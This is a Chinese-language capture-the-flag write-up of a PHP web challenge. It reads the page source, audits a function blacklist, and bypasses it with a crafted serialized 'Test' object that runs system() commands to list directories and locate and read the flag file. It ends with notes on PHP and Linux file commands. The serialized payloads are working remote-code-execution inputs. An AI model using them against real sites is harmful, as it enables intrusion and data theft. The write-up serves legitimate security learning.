打開題目
我們發現這個頁面一直在不斷的刷新
我們bp抓包一下看看
我們發現index.php用post方式傳了兩個參數上去,func和p
我們需要猜測func和p兩個參數之間的關系,可以用php函數MD5測一下看看
我們在響應處得到了一串密文,md5解密一下看看
發現頁面回響的內容就是123的md5加密后的內容
那我們直接看看能不能執行system函數
可以看到system函數被過濾掉了
那我們嘗試一下能不能直接讀取到網站源代碼
file_get_contents()
得到
代碼如下
<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>
我們代碼審計一下
?$func = $_REQUEST["func"];
??? $p = $_REQUEST["p"];??? if ($func != null) {?????????????????? //判斷func不為空
??????? $func = strtolower($func);???? //將func轉換為小寫
??????? if (!in_array($func,$disable_fun)) {???? //搜索func是否含有黑名單的值
??????????? echo gettime($func, $p);?????????? //如果func沒有存在黑名單的值,就執行gettime函數
??????? }else {
??????????? die("Hacker...");???????????? //有則輸出Hacker
?function gettime($func, $p) {
??????? $result = call_user_func($func, $p);??????? //這里可以看出是回調函數
??????? $a= gettype($result);????????????????????? //這里用gettype函數對result處理后賦值給a
??????? if ($a == "string") {??????????????????????????? //如果a的類型是字符串
??????????? return $result;?????????????????????????????? //返回reslut的結果
??????? } else {return "";}??????????????????????????? //否則返回空值
那咱們就可以使用反序列化,因為我們這個命令是用不了的,func有很多黑名單限制
構造payload
<?php
class Test {var $p = "ls";var $func = "system";
}
$a = new Test();
echo serialize($a);
?>
用phpstudy打開得到payload
payload為
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
得到
修改payload
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
還是沒找到flag
繼續修復payload,其中 flag*
是一個通配符,表示以 "flag" 開頭的文件名。
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
直接讀取flag
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
或者readfile
func=readfile&p=/tmp/flagoefiu4r93
知識點
- 讀取網站源代碼的函數有
file_get_contents()
show_source()
highlight_file()
- strtolower()函數
在PHP中,字符串函數strtolower () 將字符串轉化為小寫
- in_array()函數
in_array() 函數搜索數組中是否存在指定的值。
- call_user_func函數
call_user_func — 把第一個參數作為回調函數調用
詳情參考:PHP: call_user_func - Manual
- gettype函數
gettype()函數,必須先給它傳遞一個變量。它將確定變量的類型并且返回一個包含類型名稱的字符串:bool、int、double、string、array、object和resource。如果變量類型不是標準類型之一,該函數就會返回“ unknown type(未知類型)”。
- 讀取文件內容的命令
cat filename
readfile filename
- 查找文件的命令
詳情見:Linux下查找文件(find、grep命令)_linux查找文件_GG_Bond19的博客-CSDN博客
find 路徑 -name "文件名"
例如
find / -name flag*
其中
flag*
是一個通配符,表示以 "flag" 開頭的文件名。find / -name .*txt
其中
.*txt
是一個通配符,表示以 ".txt" 結尾的隱藏文件